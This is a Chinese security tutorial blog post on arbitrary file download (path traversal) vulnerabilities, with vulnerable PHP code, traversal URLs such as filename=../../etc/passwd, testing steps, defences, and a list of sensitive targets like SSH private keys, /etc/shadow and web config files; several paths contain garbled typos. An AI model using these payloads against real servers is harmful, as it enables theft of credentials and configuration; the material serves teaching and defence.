文件下载漏洞, 漏洞原理, 测试方法, 漏洞防御, 常见敏感路径

文件下载漏洞

一, 文件下载漏洞原理

利用条件:
1. 读取文件的路径是用户可控, 且没有校验或检验不严.
2. 使用了读取文件的函数.
3. 输出了文件内容.

漏洞场景一:

后端没有限制哪些路径的文件可以下载

后端代码:

http://192.168.112.200/security/download.php

$file_path = $_GET['filename'];
echo file_get_contents($file_path); // 直接在页面上显示文件内容
Header("Content-type: application/octet-stream"); // 设置响应头为下载而不是读取内容
// 下载后的文件名, 如果不设置默认名称是download.php
Header("Content-Disposition: attachment; filename=".basename($file_path)); 

重点是添加上 "Content-type: application/octet-stream" 响应头后, 向服务器请求的文件就变成自动下载.

漏洞利用:

这里filename参数是用户可控的, 通过这个参数就可以下载其他目录文件, 比如下载passwd文件:

http://192.168.112.200/security/download.php?filename=/etc/passwd

或利用../回溯上级目录, 无论当前在哪一级目录都可能回溯到根目录:

http://192.168.112.200/security/download.php?filename=../../../../../../etc/passwd

漏洞场景二:

后端限制文件允许下载的目录

后端代码:
// 对提交的文件路径前面做了目录拼接, 只允许下载upload目录内的文件
$file_path = "upload/{$_GET['filename']}";

if(!file_exists($file_path)){
    die("你要下载的文件不存在,请重新下载");
}

$fp = fopen($file_path, "rb");
$file_size = filesize($file_path);

//下载文件需要的响应头
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));

// 当文件较大时, 需要循环读取文件流,然后返回到浏览器
// feof() 函数确认是否读到了末尾EOF
$buffer = 1024; // 每次读取的大小
$file_count = 0; 
while(!feof($fp) && $file_count<$file_size){
    $file_con = fread($fp,$buffer);
    echo $file_con;
    
    $file_count += $buffer;
}
fclose($fp);
漏洞利用:

这里如果直接提交upload之外的路径文件读取不到, 例如:

http://192.168.112.200/security/download.php?filename=/etc/passwd

那么后端拼接之后是: upload/etc/passwd, 读取不到.

使用../回溯上级目录绕过:

http://192.168.112.200/security/download.php?filename=/../../../../../../../etc/passwd

那么后端拼接之后是: upload//…/…/…/…/…/…/…/etc/passwd

二, 文件下载漏洞的测试方法.

  1. 发送文件资源请求, 抓包观察参数, 是否有 file, filename, page, url, path 等名称, 可能是文件路径参数.
  2. 尝试提交 ../../../../../etc/passwd类似的参数来下载常见的系统敏感文件, 如果成功说明存在漏洞.

三, 文件下载漏洞防御:

  1. 过滤特殊的字符点 ".", 避免用户在url中可以回溯上级目录.
  2. 对用户输入的参数做严格打的正则校验, 限制访问的目录.
  3. 在php.ini文件中配置 open_basedir , 限制文件访问的目录.

四, 常见的系统敏感路径文件:

# linux:
/root/.ssh/authorized_keys					//ssh登录认证文件
/root/.ssh/id_rsa							//公钥文件
/root/.ssh/id_rsa.keystore					//密钥存放文件
/root/.ssh/known_hosts						//已访问过的主机公钥记录文件
/etc/passwd									//用户信息
/etc/shadow									//密码存放文件
/etc/my.cnf									//mysql配置文件
/etc/httpd/conf/httpd.conf					//apache配黑文件
/root/.bash_history							//记录系统历史命令文件
/root/.mysq1_history						//记录数据库历史命令文件
/proc/self/fd/fd[0-9](文件标识符)			//连接当前正运行的进程
/proc/mounts								//已挂载的文件系统信息
/porc/config.gz								//内核配置文件

# windows:
C:\boot.ini									//查看系统版本
C:windows\win.ini							//基本系统配置文件
C:\windows\System32\inetsrv\MetaBase.xm]	//IIS配需文件
C:\windows\repair\sam						//存储系统初次安装的密码
C:\ProgramFiles\mysq1\my.ini				//Mysql配置
C:\ProgramFiles mysq1\data\mysq]\user.MYD	//Mysqlroot
C:\windows\php.ini							//php配置信息
C:\windows\my.ini							//Mysql配置信息

五, 常见的网络服务器敏感路径文件

1. tomcat, jsp
1. tomcat-users.xm1(用户配置文件)
    tomcat-users.xm]认在conf目录下,或许可以直接使用下戟点下载该文件。
    
    http://目标网站/down.isp?
    filename=tomcat-users.xml&path=C:/Program Files/Apache SoftwareFoundation/Tomcat 6.0/conf/tomcat-users.xm]

2. web.xm](网站配器文件》
    Jsp网站配黑文件默认放在根目录WEB-INF/Web.xm下(一般都有很多内容有时含有数据库连接用户名和密码等关键信息)
    
    http://目标站点/file.do?
    method=downFile&fileName=../WEB-INF/Web.xml
2. php

php一般是mysq1数据库,一般mysq1数据库禁止远程连接,但是有些站点会使用使用phpMyAdmin进行管理。
下载数据库配置文件:

http://目标站点/download.php?filename=../conf/config.php&dir=/&title=config.php
3. asp
http://目标站点/download.asp?filename=../../inc/conn.asp(数据库配置文件)
http://目标站点/download.asp?filename=../../download.asp(网站配置文件)
http://目标站点/download.asp?filename=../../Admin_login.asp(用户登录界面)
http://目标站点/database/xxxx.mdb(数据库路径)
4. aspx
web.config文件《网站配置文件)
aspx站点用根目录下的web.config文件保存配置信息,尝试构造确定根目录:

http://目标站点/DownLoadFileLow.aspx?FileName=../web.config
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
文件上传漏洞是指攻击者利用Web应用程序中的漏洞,通过上传恶意文件或病毒来攻击目标系统。攻击者可以通过上传恶意文件来执行任意代码、窃取敏感信息或者破坏目标系统。 漏洞原理: 文件上传漏洞原理是,攻击者可以通过在Web应用程序中上传恶意文件来执行任意代码。攻击者可以通过上传恶意文件来执行以下操作: 1. 执行任意代码:攻击者可以通过上传一个包含恶意代码的文件来实现执行任意代码的目的。 2. 窃取敏感信息:攻击者可以通过上传一个包含恶意代码的文件来窃取敏感信息,如用户名、密码等。 3. 破坏目标系统:攻击者可以通过上传一个包含恶意代码的文件来破坏目标系统。 防御: 1. 文件类型过滤:对上传文件的类型进行过滤,只允许上传指定类型的文件。可以通过在Web应用程序中设置文件类型白名单来实现。 2. 文件名验证:对上传的文件名进行验证,确保文件名符合预期。可以通过正则表达式来实现。 3. 文件内容检查:对上传的文件内容进行检查,确保文件内容符合预期。可以对文件进行解析,检查其中是否包含恶意代码等。 4. 文件上传路径验证:对上传文件的路径进行验证,确保文件上传到了正确的路径。可以对上传文件的路径进行限制,确保上传文件只能上传到预期的路径。 5. 权限控制:对上传文件的权限进行控制,确保只有授权用户可以上传文件。可以通过设置文件上传的权限来实现。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值